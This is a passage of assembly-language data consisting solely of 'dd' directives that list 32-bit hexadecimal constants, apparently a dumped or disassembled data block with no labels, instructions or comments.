		dd 283524F1h, 972F39D7h, 1A011D56h, 663CA80Ch, 0E6CAC3F3h
		dd 2944C07h, 93DFCE60h,	52305606h, 85D38BE8h, 1CC41389h
		dd 0F151F467h, 66B70654h, 0D20C89D4h, 14207580h, 964FC2A8h
		dd 64C4845Eh, 3903B2C0h
		dd 7230068Eh, 97A524F7h, 0F16AB3CAh, 5D4574F2h,	0AE91B919h
		dd 0ACE7E625h, 735897B6h, 8506EF17h, 220914AEh,	0A84F18B5h
		dd 0D0B1EB88h, 3032C0CBh, 22A02CC7h, 0C4E93806h, 4CD5F0A9h
		dd 0BA3A261h, 6540B17Fh, 0EEBFF8D4h, 0EFCFCC0Fh, 75F104F8h
		dd 0CB4470A9h, 7127BE62h, 8A95C072h, 9224AA9Bh,	0EBE43AB2h
		dd 5433C944h, 9556E432h, 7AE4B977h, 67EF4859h, 71BB19DFh
		dd 8E852E5Eh, 0DB40F845h, 0B5EB8C71h, 740038DCh, 7E82BCBBh
		dd 361B5219h, 0C267B15Dh, 977260C9h, 0FE7A2C60h, 5F3CFCEh
		dd 0D8BAF758h, 7B1CBF23h, 0FCF9AC51h, 9C1CA190h, 0FD5B733Ch
		dd 1F2CEA5Ah, 0A1E25F88h, 5F62A970h, 0FCB4CA8Ch, 0EB069839h
		dd 0CC63BFCEh, 175BE340h, 0D1836E70h, 4CC2842Fh, 98B55463h
		dd 554E8CF6h, 4419E636h, 8C38D4Ch, 31CD42Eh, 65490A9h
		dd 0D5DF829Fh, 0B4AFEFFDh, 0AE9EBFA8h, 3FD4BD03h, 9647B44Eh
		dd 0A67D15F9h, 84F97082h, 31B4B770h, 38D52C4h, 0E2E8E78Ch
		dd 0CEF06A2h, 920ED3Eh,	0CC17A4B8h, 509948Bh, 0A762EFD8h
		dd 85666D19h, 0ABFFC97Ch, 18366D45h, 8277FF9h, 27112F84h
		dd 0FB41D10Ah, 6F866258h, 30137C8Dh, 0D61E1977h, 94139985h
		dd 0A54BE8DFh, 324DAEE8h, 0C572F33Dh, 0B9AAB2AAh, 4E8A8EF9h
		dd 907939D6h, 21D4B0A5h, 36CB2A20h, 0D2C02AA9h,	2FC08B15h
		dd 0BAC6316Ah, 0B59F01FBh, 2DEF178Eh, 0C3BBB9BDh, 0F1D7C0B5h
		dd 16507855h, 2AF51A4Eh, 0CAC218C3h, 8162F7A8h,	9F024AC9h
		dd 63B091A1h, 0A83E515Eh, 3B188095h, 81F11610h,	18B2606Eh
		dd 2101C9F2h, 41314E8Ch, 5C652DBAh, 0EEA511FFh,	5D4674E6h
		dd 0B3ED4D74h, 16C6778Ah, 0D7F62CA7h, 5F861087h, 73737AFEh
		dd 74155794h, 34B18DD0h, 3D149692h, 0D9B0DDCEh,	0D305EAFEh
		dd 6998AD7Bh, 0DE130276h, 0B2F9CB3h, 0DDA658F2h, 0CAC73A37h
		dd 0D2E6F5ABh, 4C334A31h, 2E120166h, 2B333C86h,	2DF723AEh
		dd 0A6F14DF7h, 699887D1h, 719A67ECh, 4D2E85A0h,	1941E08Bh
		dd 8E5C2EA0h, 4800D7CBh, 0AB8A78C7h, 8F94FFE0h,	5616604h
		dd 83AEAC5Dh, 0B67CF85Ch, 0CB09DE34h, 16EE8C9Fh, 5FF33412h
		dd 14C600A1h, 4BA919A9h, 1F3CD7A0h, 9198EA7h, 67C0FF19h
		dd 21F86202h, 0ACDFC763h, 61274CB2h, 85D6DE45h,	23453972h
		dd 13021648h, 3C5A4802h, 0AD5FABF5h, 93C1ACACh,	6220EE44h
		dd 0E06E04BCh, 5DC0D466h, 2AD57E3Dh, 551AEEA6h,	0C9C09D18h
		dd 50C5BFDh, 108E787Ch,	6445C31h, 32573502h, 992249A3h
		dd 0BA091F29h, 0BB1817C8h, 29A6FE2Eh, 174F14A6h, 0FBF613B3h
		dd 89E2F46h, 7C2E36Dh, 33953F06h, 0E5BAE581h, 0E97C70E4h
		dd 7D6350B5h, 47260B50h, 9B0D006h, 0B3D73A8Ch, 0D2FF5585h
		dd 55660D65h, 29392468h, 4B642816h, 3311AABAh, 0C3DD318Bh
		dd 145210F5h, 2210D8EEh, 6269F89Eh, 0BC21C207h,	30DBBF8Bh
		dd 0AAABDBBDh, 8FC35527h, 0EF8DF411h, 0A6E287D0h, 491DC57Eh
		dd 1590EAF0h, 416157F0h, 0C7DCFDFBh, 8A6FA658h,	0DF660B03h
		dd 1C48D74Fh, 89EC82CCh, 0DA050E01h, 0B889E48Dh, 0E41103E1h
		dd 6FA4D6DFh, 0C834546Dh, 0ED453F59h, 0A599CC40h, 0C5509D48h
		dd 0F0D6DCA5h, 0EF951881h, 1FA7B40Dh, 34981615h, 0C731B081h
		dd 1F93E368h, 7A1C4670h, 8CCCAE3h, 0BF73501Ah, 9140291Eh
		dd 0DD60ED77h, 73AC5E9Ch, 0D709E5B8h, 58C84463h, 0BD0FF70h
		dd 55B219C8h, 96A93FECh, 0DF29EC46h, 0AA2282A8h, 0C38C0376h
		dd 0A8CF809h, 19A340A8h, 5C12C55Bh, 0E8A32BCAh,	44C45D6Bh
		dd 0C6910E9Bh, 0B27C95CCh, 31BE9B95h, 18B254EBh, 0EE438DE2h
		dd 57464E70h, 999FB84Eh, 6227F5C2h, 0DA9D4FBFh,	0FF99D32Bh
		dd 924D95C5h, 0FDFF79AFh, 4243CFA2h, 8CD4E56Bh,	0AE588372h
		dd 60D0EA2Eh, 0FBB2087Eh, 317C053Bh, 3BAC7C7Ch,	0D2BE127Dh
		dd 0F0552F0Bh, 0E51747AFh, 42EC0512h, 46D15EEEh, 0B0001370h
		dd 0E8908249h, 612226A3h, 0B48CAB94h, 3924E8ACh, 628901B3h
		dd 263E048Bh, 8A393F90h, 56979B0Ah, 3A475D14h, 44A78B9Bh
		dd 8AFDE547h, 0CDFA36D4h, 0D78A118Eh, 7192CFC7h, 54A83A1Bh
		dd 3700E647h, 4627ABB7h, 8D48E601h, 11957756h, 7C69B4Eh
		dd 660E039Ah, 0CC0027C7h, 0FBB328EDh, 0CC638B8Bh, 0CDD02341h
		dd 8E196EE7h, 5FE1E08Fh, 66DC85E0h, 5877AEADh, 0A3335953h
		dd 1446AE04h, 1C2F28E2h, 0E08D0565h, 0D9370BD6h, 0D53C7397h
		dd 0D865DCA8h, 3A0B8E95h, 0D0C1F173h, 67113AC3h, 2D5C8957h
		dd 8A02E515h, 4539AD23h, 0E1B7E851h, 82BDCC5Ah,	394509A1h
		dd 0DC73881Fh, 3E4529C3h, 36BAAA28h, 54415F5Bh,	6B978E32h
		dd 551377B1h, 2E492D07h, 2FCAD566h, 15683EAh, 0A08ACA6Eh
		dd 69E32E73h, 0C9C2DF37h, 97318B9h, 20972CA7h, 0DE124CAEh
		dd 21DF2EEDh, 8A1B8EA5h, 0E09E09E1h, 9306A088h,	4B316367h
		dd 90E733EEh, 6515E4AFh, 16BB448Ch, 75801ABBh, 0A10F47BDh
		dd 58FDDE9Ch, 0C96ACE70h, 12893F97h, 0E90AFC28h, 0E8F8D72Eh
		dd 0D7F3C541h, 0FF944E05h, 0A0E588AFh, 47398613h, 98DA010Eh
		dd 7181485Dh, 334E6F5Ch, 8329A452h, 28DC3290h, 2DD21AEBh
		dd 868B5F8Bh, 0B33EBE02h, 0A9975690h, 2ADC0C43h, 0ED06B292h
		dd 61BAC913h, 528240F1h, 0BB744780h, 4DDD5A32h,	0C1812B30h
		dd 3EF3BF5Ch, 4765956Eh, 0AD44D717h, 555029D5h,	0BD3457C9h
		dd 55AD2179h, 0A1102388h, 0AA6A0B5Dh, 55D41580h, 0A51EC28Eh
		dd 0C9AE872Ah, 0B485B8EEh, 52DD7760h, 9F86F1h, 27148D50h
		dd 7E05D1DCh, 196DCE5Dh, 0FC4BE9A0h, 0BBE037D9h, 54F43505h
		dd 5E429ACh, 1972D1D5h,	5D450147h, 368AD9FEh, 34827D63h
		dd 2B9987F9h, 9DA3DA9Dh, 70679DABh, 88357FBh, 0D09133A2h
		dd 0F1248861h, 0A0A997C5h, 2851AA85h, 6728C017h, 2609CE0Dh
		dd 0CB5D548Eh, 88FA24E1h, 258FB36h, 0AA06FD35h,	6F82FB8Dh
		dd 0BC0D595Dh, 2D1BA016h, 0C3733D71h, 0B3BA9715h, 745E45EAh
		dd 5CC6DDCDh, 848BD067h, 2598EB6h, 0AEC30323h, 0A7EA5EE1h
		dd 727F838Fh, 716E34B5h, 0EFD9FF2Dh, 2D8A0C07h,	3FA02DEFh
		dd 3538A2C3h, 0C12D73C7h, 9CFE83BBh, 3CB402C5h,	77433BA8h
		dd 4EBEA134h, 9DC4EC6Ch, 4335ADC8h, 2EA1668Dh, 83B0057Dh
		dd 41BADD3Bh, 0FE0571DDh, 0C5525DEh, 0EA5EE7B0h, 7D81EA2Eh
		dd 75951094h, 0F4460207h, 0D87BBB65h, 0C72870CAh, 0A78615D7h
		dd 0EED97CA2h, 60587AE5h, 413DCD1Ch, 3EC8D226h,	0EBEA67A0h
		dd 70E7B4CEh, 144A0DD0h, 75E62670h, 73B3F1B8h, 0EEC42995h
		dd 3B14BA45h, 0B29BD11Dh, 0C9ACA4D3h, 457F762Ch, 33790911h
		dd 8F2E918Eh, 0F346861Bh, 0F796DA6Bh, 0DD5D7745h, 111E12EDh
		dd 0AD28B4CBh, 8502BF2Ah, 59778B72h, 0BF4E72CDh, 28D47F46h
		dd 45FA2040h, 87B78B6Ch, 2DBE358Ah, 0FD70DE1Dh,	0C2B3E4D1h
		dd 50293B54h, 7FF48884h, 47E240E9h, 18BE958Ah, 13F96221h
		dd 6BBB44B0h, 0C1C4A968h, 0DD3E0264h, 26272C9Ch, 0AC17FFE2h
		dd 6328D31Bh, 6FD0FF41h, 83DE8AE3h, 79511ABBh, 19F41970h
		dd 0D0C87C00h, 8506EA22h, 0E4557EDEh, 1F4DA999h, 0F6EFAAFCh
		dd 0BF53FFFFh, 7ABF9123h, 98A684Eh, 101D48E5h, 1CA91224h
		dd 0FD8595FCh, 76742A9Fh, 9884EDABh, 84F14DCBh,	94052B54h
		dd 7646314h, 9575E5FCh,	32158E8Eh, 2B338931h, 0AFC5C7Eh
		dd 0BA60ED0Eh, 525F891Eh, 0DBFE4E40h, 0A190E750h, 3275717Ch
		dd 827485F8h, 98FF42BCh
		dd 179CD515h, 0D11088CEh, 863DBFD3h, 0DC765EA3h, 2E0F8A80h
		dd 2FA6607Dh, 81E3ACECh, 36176393h, 586AB0Eh, 0A784AD89h
		dd 7CF6444Bh, 305C5161h, 0A8D22DCBh, 17C01EADh,	1ACEAF45h
		dd 3293CC54h, 0D1E282FBh, 0A1D4417Dh, 6C44BACFh, 0A38238A7h
		dd 0C5FF4301h, 0ACC4EBF0h, 0CAB934A4h, 0C4DC1B7h, 0A4A2771Dh
		dd 0D530DCBh, 80698C64h, 7263F3Ah, 4EF40455h, 0B7158C38h
		dd 0EC4D9155h, 5E3266A9h, 0A6A7CE19h, 0B2AAEEA6h, 3F6A3195h
		dd 25F67CE1h, 0A2BBB933h, 0DFB02B47h, 832A7697h, 2B2B4FB5h
		dd 91C0ABF1h, 4707F1C2h, 391C753Bh, 0AE5318C2h,	41954A30h
		dd 0A2086C64h, 38CACA6Fh, 2AEAB461h, 39C43760h,	9F68ABEh
		dd 89F64011h, 0BBAF49FAh, 8266217Dh, 5374D030h,	8A2738AEh
		dd 23096116h, 95CA4413h, 0DE604711h, 3DF596A6h,	0C0A2EAE5h
		dd 0D5F53EEAh, 0E660576Bh, 0B9CEBECh, 24053F34h, 0FD6F5405h
		dd 0EAE1A0D0h, 4C5343A7h, 0C7CE2F8h, 91D2180Fh,	36A4DFA1h
		dd 69040FCFh, 3BEE76CAh, 0C82B31A2h, 7F3E4E47h,	0D749C1F0h
		dd 0AA7D04EAh, 0E3708A84h, 0A897A77Fh, 0FB50B519h, 0EBE3BF6Ch
		dd 663A2395h, 0BCADCBE0h, 4848EBC4h, 0A24C64D7h, 3C5561AFh
		dd 71103073h, 0AA495D7h, 0F23BC7E0h, 66014299h,	0C6202B6Eh
		dd 1806FCDAh, 40810A44h, 7C63C08h, 5FD6908Eh, 0AD37D494h
		dd 5FB85E7Eh, 0AB85103h, 1EF80F01h, 0CBF83E79h,	0A0AECEDCh
		dd 17584DCBh, 9040617Ch, 47A66AE0h, 0DDDFEF9Fh,	3C1A84ECh
		dd 0A811714Eh, 21ABB256h, 1AB34AC0h, 80161221h,	50044627h
		dd 630A3A9Ah, 39C6C5CDh, 0C1CC2FE5h, 1035AC37h,	2E8EBD0Bh
		dd 1B19D4DCh, 5A8B040Ah, 0C1691504h, 5782F4BCh,	0BE0B583Eh
		dd 3E27858Dh, 59EA65AAh, 0DADA1599h, 83AF074Ch,	0C1187985h
		dd 0FE9FF056h, 0D2C2101Fh, 318D8BEFh, 5291D502h, 621570F0h
		dd 0BB7363BCh, 6437BE7Eh, 3E882EC6h, 7CC22B32h,	14ECB5E0h
		dd 0C146C429h, 0E9591F3Bh, 4A107693h, 6981965Ch, 98C07863h
		dd 90E0A18Bh, 3DA2FE58h, 56BB01C7h, 6F0BE522h, 4AC20F5Ch
		dd 0E225C9BAh, 19D8681Fh, 18CFEE50h, 9C1D4518h,	1A90F1BBh
		dd 6262F455h, 179EF5A8h, 0A1B72D5Fh, 90C48B12h,	90BF006Bh
		dd 106969E0h, 0DA8A0B13h, 0BC497D86h, 0F9ED658h, 0C2E85F21h
		dd 4314ADF6h, 68480D0Fh, 58FE63DAh, 642595C3h, 0E24C49DFh
		dd 88941926h, 3F1E91DDh, 492BECA4h, 1929AE83h, 380DA2FCh
		dd 47713A81h, 0A2C6BA56h, 443A9303h, 3BF5321Ch,	8439C8CFh
		dd 9A8EDA90h, 897AFFF6h, 0A6AA9F9Dh, 0D75F4094h, 0B99D63EFh
		dd 99BE2992h, 3AB562ECh, 7B9E4F0h, 1775C204h, 4C28AAAh
		dd 0DE67FA1Eh, 624ADF03h, 1545CF9Ch, 1F1981AAh,	3E62F153h
		dd 0A13BA438h, 7C7D8AC1h, 2156E740h, 95650BE3h,	85D026E9h
		dd 4DF7452Ch, 0D2791ACFh, 0FC66A55Bh, 5CE6D9B1h, 56F2B966h
		dd 0F6966A06h, 5C60B880h, 0AF7A89B3h, 8C709266h, 0CD68CC9Eh
		dd 0C5E70270h, 0DFFACD5Ah, 2BFA9169h, 2108E504h, 0CBD16621h
		dd 8FB39899h, 99AF99EBh, 1A3E6747h, 62AC5959h, 998E4CD7h
		dd 48BCB718h, 0CC502F9Fh, 0A068F797h, 86C7668Dh, 0A82DF98Bh
		dd 2E4F18E2h, 0FBD04873h, 3B5732E2h, 70903AA2h,	0DB3A62BEh
		dd 0EE3B99F6h, 0D9184BB4h, 7E331068h, 3A339F68h, 81A65AAEh
		dd 0EBE246D9h, 7DA0975Fh, 7CE462CFh, 2C549074h,	2C6C79F4h
		dd 1C566491h, 0D08271F5h, 0CBE062FCh, 67601606h, 0B15C7EA8h
		dd 79910862h, 3C51E722h, 358AEEB3h, 23E74BE6h, 9EF0C39Fh
		dd 0DF583155h, 59574985h, 0F8C6AA01h, 9F153A43h, 0C57EE0D6h
		dd 76AF43A0h, 0EA20DB64h, 0F32B5DFCh, 0F1882355h, 0EFD90DD3h
		dd 5E1DA7B3h, 0C8598DF2h, 0C9022624h, 0BE0CB631h, 8175466Bh
		dd 56A51FE6h, 89AC3ABFh, 447D57C9h, 4890C10Ah, 0A91D70A0h
		dd 0DC665D60h, 42F78CD7h, 0AE881451h, 0DCA7A667h, 0A285BDDEh
		dd 3F768080h, 4C11F4C1h, 54459627h, 0F25473BBh,	79BC5720h
		dd 0FE2876B0h, 0ED34ECD8h, 8465A16Ah, 0C5574F5Ch, 0DB8491DAh
		dd 0D34445BBh, 13492508h, 1C2955F2h, 34F1476Bh,	0FCD00942h
		dd 50BF3462h, 0F862CF14h, 72A2D213h, 0D11FBDF3h, 0EF5F84A4h
		dd 76662708h, 0DD801E88h, 210CE856h, 0E4CE30C2h, 4AB8A31Ah
		dd 19B36BB2h, 0C6321A64h, 638B9Bh, 9A859E66h, 28036801h
		dd 6C107F23h, 57783388h, 0F2DFCA5Dh, 0C498EF4h,	2A059C89h
		dd 5D214D66h, 25613C90h, 45608561h, 0B7580561h,	0D64B8561h
		dd 5C61D0Bh, 0CC2E6730h, 97994FCFh, 0FAC81F87h,	0C5725566h
		dd 9847F150h, 0CDBB301Eh, 0E629E6BFh, 0EB16C19Ah, 0A4255EBEh
		dd 0E9D42490h, 4009524Ch, 7C7505D1h, 8F45D67Dh,	53F7DE29h
		dd 4340223Bh, 843315BAh, 61EE9317h, 5CCACF5Eh, 660877AFh
		dd 0AE90959h, 5802C62Eh, 3599A266h, 0B0484041h,	35176150h
		dd 0A3A58C5h, 96B66D4Bh, 0BA4A3A2Ch, 4AC9792Bh,	32BB0ACBh
		dd 387E275Ch, 0FA429334h, 0F44039F6h, 0C26B45Bh, 5338AD8Ch
		dd 10DA0896h, 0BC0DF940h, 2D8DA0DEh, 0B76128B4h, 0C3F0ABBFh
		dd 0E00D5ABBh, 5A1FD527h, 2A81857h, 0E98384AAh,	9AC09E2Bh
		dd 0E1584C82h, 71A9CDF0h, 0FE5581BDh, 6919E4E6h, 99FC9F33h
		dd 0B878B9C2h, 98880BCAh, 0E321883Bh, 5F7CBF33h, 6D5D805Eh
		dd 0FB124C24h, 457C4989h, 0F1229614h, 19A41160h, 0F5C124A0h
		dd 0D60E2726h, 0D8ECBFF4h, 7AA88BA7h, 5181605Ah, 0F93DD0B4h
		dd 4466E4BEh, 565B7BB0h, 0A4B1000Dh, 889A8B70h,	2BFDEA31h
		dd 0EB180C6Dh, 0D0689A6h, 0B542CACBh, 95FCEF07h, 69A8417Dh
		dd 9DE19055h, 0E0CE4410h, 6DF03E12h, 0C0168422h, 206574DCh
		dd 4F41EBh, 3188102h, 0D9F9158Dh, 67906310h, 0E19B964Ch
		dd 0C2AD8BB6h, 0AB059250h, 0D7DB963Dh, 9471C3FBh, 0D2AD482Eh
		dd 0D53F63FFh, 0BC6DA51h, 0D106C2A4h, 0BE77CB17h, 0CA698D42h
		dd 708CD3B4h, 2C5E57EFh, 0F80B5627h, 0B7C9763h,	8E17EFDEh
		dd 396281FFh, 8F64A7B2h, 0D5044121h, 0B36A65A8h, 342F4FAEh
		dd 85DE8534h, 0A7AFDC11h, 0B33E3A1Dh, 0CB1F7C3Fh, 0D6644988h
		dd 0DF0CD482h, 63D01637h, 6A116D32h, 0BFC2C0FEh, 0CF1F40B0h
		dd 0B9A858FFh, 0F067AE0Bh, 0C2918208h, 0B6C60DC2h, 0D9F19CD2h
		dd 2B4C8CC0h, 41A16669h, 27EC949Bh, 45D5A7E0h, 68EC531Fh
		dd 0CB72290Bh, 0A725AD67h, 818FBF6Eh, 2FBF52Fh,	6140A2FBh
		dd 0BA9F620h, 8C21051Ah, 56668020h, 1B21A442h, 358E393Dh
		dd 7ADE54F7h, 67E81CD8h, 0D407188Ch, 0DD600B77h, 0E8D6AEDBh
		dd 6D41754Bh, 0D1031BCh, 828636FBh, 5AC00DF6h, 8A5FCB9h
		dd 66626910h, 120D609h,	121B54E2h, 1BE942E5h, 0F8D035Ch
		dd 0E083481Eh, 0C3105429h, 3968AF2Eh, 0A9C6E2BAh, 2CD8AAD7h
		dd 0C345C5F6h, 450E19DAh, 0B7DD90B9h, 90C5FCF1h, 38C5C2C4h
		dd 3A0BC9BAh, 0BD4E655Dh, 1CE30FDh, 236014D2h, 0E5D85D81h
		dd 6E13BA96h, 4CF8742Dh, 793EC6DAh, 0B8C2323Eh,	48CBBADh
		dd 141729F9h, 983F6CF2h, 11BF8C54h, 67C1DC04h, 0F77E4801h
		dd 0E56018DFh, 3FBBD119h, 0EB902C37h, 0BCEAC344h, 0C2F28711h
		dd 0FA3F3566h, 31576EB1h, 2ACCDCFFh, 225C3F8Ah,	0F100A9C8h
		dd 6690390Bh, 49476213h, 62778F40h, 9F095D89h, 211AD1BAh
		dd 0A5C18A1Ch, 8B422F39h, 9D130B44h, 9814CAC3h,	860678A0h
		dd 75EC468Eh, 0BA87631Bh, 80D071E8h, 0DC0F5288h, 0E962A554h
		dd 2FC59385h, 21BC4C67h
		dd 0E1019C2h, 0DB04C1Fh, 5FB8158Ah, 0C84E3814h,	88654400h
		dd 0F2B10ECBh, 0E636A4D7h, 9DF6756Fh, 0CECA390Ah, 11D494D4h
		dd 4D7B2621h, 5E7588Ch,	0EA33F8AAh, 6E80FE0Ch, 0E670215Bh
		dd 3410AB23h, 6C8F170Ah, 4EA36EF1h, 750D9462h, 0FF1D9A53h
		dd 0C0B83925h, 0D85F81E3h, 76C60C72h, 7FC3FDFAh, 0B29481DCh
		dd 5274FA96h, 383E2EA5h, 5ADF6CA5h, 42FE981Fh, 0DC3B3FFBh
		dd 0B1302079h, 3CE5EA8Fh, 0BAB21BE5h, 0C5FF3060h, 0A5A92202h
		dd 35F69405h, 0E7FDCC0Bh, 511F878Bh, 0FBECFB2Ch, 9746181Fh
		dd 0F51DE8ECh, 0AA94F4E0h, 4463C148h, 2FEBE8DBh, 5F0C31Fh
		dd 0A3D51A0h, 76BBDF88h, 1213389Ah, 0C04D155Dh,	7659F756h
		dd 840583F2h, 0E9668C01h, 0BC449730h, 0B2EA220Bh, 0C0992655h
		dd 8BAC02BFh, 3AC78001h, 98FDCC24h, 0CB76CBCAh,	36810BB1h
		dd 6BDE80A2h, 5E667221h, 21310906h, 0C38D3FC3h,	0A2F047F5h
		dd 0ED280E61h, 666F8014h, 686285Dh, 71EBE628h, 0D32AEB9Ch
		dd 0E2F11C3Eh, 0A17F00E0h, 0E5029895h, 9DEB8020h, 576745F7h
		dd 0B38E6744h, 0A905DEB2h, 0D05F2E04h, 67C000C0h, 0F47AEF70h
		dd 0DC0AE62Fh, 1A3143DDh, 0EDD4CC58h, 0BCAEB007h, 8F2F3C2Ah
		dd 0A8B90FA3h, 9DA3E852h, 0B6E145D3h, 0DD2ED33Fh, 0EFF1A5D4h
		dd 0B8780C4Ch, 0DBED9E9Eh, 0F45D12AAh, 0C5DFC968h, 0BA2EE874h
		dd 21E07090h, 85093071h, 0BDDE1947h, 0AF06C650h, 7CC60452h
		dd 95DF5421h, 0FA679523h, 0F58ED048h, 5C80E464h, 97BD0010h
		dd 50A476Eh, 94B9281Fh,	52B6F254h, 0E949096Fh, 0AD81155Fh
		dd 0AB55AE8Fh, 0CB893D1Ch, 3D90F1AEh, 6FE07DF8h, 4C89D8B5h
		dd 2B7FE52Fh, 9A9423E4h, 0A37105FDh, 0E60E4B4h,	52E9A8BDh
		dd 4BA80874h, 2EB225D3h, 0BB099755h, 0ED7E5D74h, 0CFD47652h
		dd 9B34D0EDh, 2E909485h, 0E05A6E5h, 3CC06E35h, 9872D5Ch
		dd 0C8E61890h, 7CA649D5h, 0B6082D2Eh, 0D219C952h, 0A02A49ACh
		dd 0ADFDDBB7h, 24838EF0h, 14910D8h, 80811013h, 10550380h
		dd 5BDCC982h, 0F6C25CA0h, 0B8EE59B6h, 4EFEAF97h, 8130A3FEh
		dd 4100CE1h, 3FEECF31h,	5403CBA4h, 4661E8C7h, 3D75B07Bh
		dd 6BA45354h, 7014162Ch, 0DE104F02h, 0BB46780Ah, 0A1A13193h
		dd 60074018h, 4621A072h, 0C25AB2CBh, 0B8872C68h, 2B0A2CAh
		dd 0C435732Eh, 0CAAD90A8h, 0B1505F5h, 9DE21806h, 33ECE832h
		dd 7D9B3152h, 214D72B1h, 1A594F26h, 99FC7140h, 0E94E0E71h
		dd 29B803D2h, 0F867B5F0h, 0ECE0DC21h, 118B779h,	0BFECFE22h
		dd 6D03C779h, 0A1DFB234h, 783F3372h, 0B1227DFBh, 6ABE4D9Bh
		dd 5F33DDE2h, 89F1A297h, 0D40C4C67h, 9AE1E16h, 4DCAC43Fh
		dd 12D950FFh, 0C3C087ECh, 49978A6Dh, 0F453BACFh, 5F2D05D3h
		dd 383FF54Ch, 0AAD8D3B2h, 50F1B81Ah, 1B8C0179h,	950F8CA0h
		dd 72E59593h, 0FC5000CEh, 0A33813C5h, 9C61E220h, 62C72879h
		dd 796954CEh, 1E8936Fh,	0DF28381Ah, 2A472DCFh, 0FE0671A7h
		dd 0A967D627h, 7739CDC2h, 3267CBF4h, 48B0BB3h, 0B9835B1Bh
		dd 80FBABCAh, 9FA881C0h, 0D50EFC04h, 56A0A53h, 4113BBE0h
		dd 0C92D1D44h, 0B77BD053h, 0AC8ED0BAh, 758E7AA2h, 0E0B181D3h
		dd 9496D03Eh, 0CE4A7FFFh, 0C39D9B89h, 212C7909h, 7D415829h
		dd 0A6E46B05h, 99C02626h, 28778C42h, 126494A1h,	35AE75C9h
		dd 0A6639141h, 4634FB8Bh, 9BC655F3h, 2878C88h, 4F34934Eh
		dd 81F48A55h, 1737C1Bh,	0AC639A3Bh, 5649617Eh, 0A04A6A91h
		dd 2842CAAEh, 680C707Ch, 0D8B4C988h, 1EE16EA5h,	0F0BE26CAh
		dd 83B2ABFFh, 0BD26BFADh, 0DFDDE419h, 0F9229179h, 16343D0h
		dd 989B6413h, 0BA41162Ah, 25ACBA87h, 0A0AFD0D4h, 14724B60h
		dd 0BA405FF7h, 20504728h, 0DFF138E0h, 0F6688FAh, 0F84E1055h
		dd 6272C89h, 0E8D5C92h,	876D86B3h, 0FE9B94D2h, 0FB80FF85h
		dd 6FAD3A0Dh, 0E06EA3A4h, 0C00550h, 7B4702BFh, 98152A28h
		dd 23170B54h, 0F6984BEDh, 6D4DD0FBh, 85F6A314h,	50F8E40Fh
		dd 6F1365DCh, 0B4D24DC3h, 0EF140A25h, 0F3018775h, 5118616Ch
		dd 826747A8h, 0F3D58D37h, 943EF0BAh, 8591FBD3h,	73A2A3A8h
		dd 8FD28181h, 462E943Eh, 18BA29F2h, 382697D9h, 1F4827E9h
		dd 0EC89680Ah, 38666913h, 0F6AAF267h, 2BE02050h, 0B5F1A6D0h
		dd 42F801C1h, 0E66A3127h, 7AC12041h, 0CE553CF5h, 5B37C16Ch
		dd 10504AB0h, 37C6560h,	0B0FF84Fh, 0AD7F67A3h, 0EAC5E2E7h
		dd 9A21D74Eh, 0A99781A5h, 0DB4CD3F3h, 0C15213FDh, 0ABAF090Fh
		dd 786394E8h, 9AE76965h, 74C9D0E8h, 655034E3h, 282FFCDAh
		dd 9F56E38Fh, 4FF21A86h, 181A535Fh, 0AEAD22F6h,	0A10DFAA9h
		dd 4FF6EA45h, 1BD038C4h, 0A3A3AE41h, 0C91A69A4h, 8C5D7AB2h
		dd 7F41442Ch, 281113D9h, 999A9312h, 9D453D86h, 3A17140Eh
		dd 0ACE8F1FDh, 0D6924DEBh, 0F8FA18D5h, 5361C695h, 669E3D52h
		dd 0E1A71A5Ah, 0D2A6AAAEh, 0F14D362Eh, 62EE06C6h, 0A77D20EBh
		dd 489B0945h, 856E4BBh,	0A1B8C4C3h, 0D28A1188h,	1244B48h
		dd 0C7F2DBBAh, 0ACC93589h, 0F1F82A68h, 1A5158C4h, 895DBF4Fh
		dd 70BE525Ch, 0A66547BBh, 5A6CD238h, 4E4893B5h,	0A7B01A52h
		dd 0DA261696h, 0DFB02CD7h, 3382CE7h, 9A84DD69h,	3DEBD282h
		dd 94144AEAh, 1B231426h, 5E60A409h, 49FFA1D5h, 6943CD43h
		dd 0CAC8D314h, 69A44968h, 0CFB36CD4h, 51D1AC02h, 1EB949AAh
		dd 3297594Dh, 0BC0E479Ah, 0D1A67831h, 4DBD2D7Ch, 0E3B73461h
		dd 943A7ACBh, 0FCA7727Ch, 1A6C630Ch, 40D38806h,	43C03F20h
		dd 7D66657Dh, 0A7925DC6h, 0B850D18h, 86286506h,	0F3687645h
		dd 0ABA4458Dh, 0BFE41510h, 4518CA1Fh, 5FE4C04Eh, 9AE5C40Ah
		dd 79C6E848h, 0E02AB281h, 1E40A140h, 60554A0Bh,	2F35A292h
		dd 15AC0685h, 17E8BED5h, 3A1CAD21h, 0FC4318A4h,	846087A0h
		dd 0E7AEB793h, 6AB77DDFh, 42BEE1AEh, 0E0A38B62h, 0AE0FF905h
		dd 0FEF830C1h, 8010A217h, 3FD643DDh, 0F70CC0Eh,	0F626DCF0h
		dd 0DB0B696Bh, 9A9901C7h, 0D81FC7BDh, 0C5177DFBh, 429432B8h
		dd 0B481E940h, 3452F25Ah, 0F1FBA36Dh, 78163FCDh, 4616E169h
		dd 9E7D2F2Fh, 0C17F9DAEh, 0EA06836Fh, 8DAD7CC5h, 7D141781h
		dd 0A43F4119h, 69F14D4Dh, 0BC8F1DB5h, 0C4489901h, 800A6589h
		dd 40667758h, 46170FB3h, 0F473618h, 7A02CA08h, 1D35B8EFh
		dd 4258D033h, 50CB8D9Ah, 31C49622h, 8FC2D29Dh, 4A5B35EFh
		dd 9E40F903h, 1E4AEF8Dh, 98A69A04h, 5C6751D3h, 0F0887D23h
		dd 0A6E09113h, 87287284h, 0C8C67C2Eh, 13BE2141h, 0A014C526h
		dd 9824B283h, 0BCC5BD0Bh, 154940E9h, 85859A5Ch,	0B2D0FABDh
		dd 5F47378Ch, 706638C7h, 341F6C0h, 0FE610D28h, 1ADF88F7h
		dd 7ADEB0BAh, 17D628E2h, 52DB4E35h, 0E2A0B760h,	935B4C0Ah
		dd 92836527h, 0A260EC39h, 968281EBh, 0E612773h,	0C6B94E34h
		dd 0A84B32h, 0CC173F9h,	841FD868h, 0ABB1286Dh, 4487E81Ch
		dd 788A8068h, 3512EFB9h, 5BAAC17Eh, 185E0304h, 0C2EB318Bh
		dd 0CECD07C4h, 201050Eh, 5D6BCFECh, 1FA8CDCDh, 2FF70867h
		dd 8A1A089Ch, 392528DFh, 0AF550C3h, 91D34108h, 0DB87CA33h
		dd 68A03E07h, 0AC741063h, 201000C2h, 3C841C88h,	20841444h
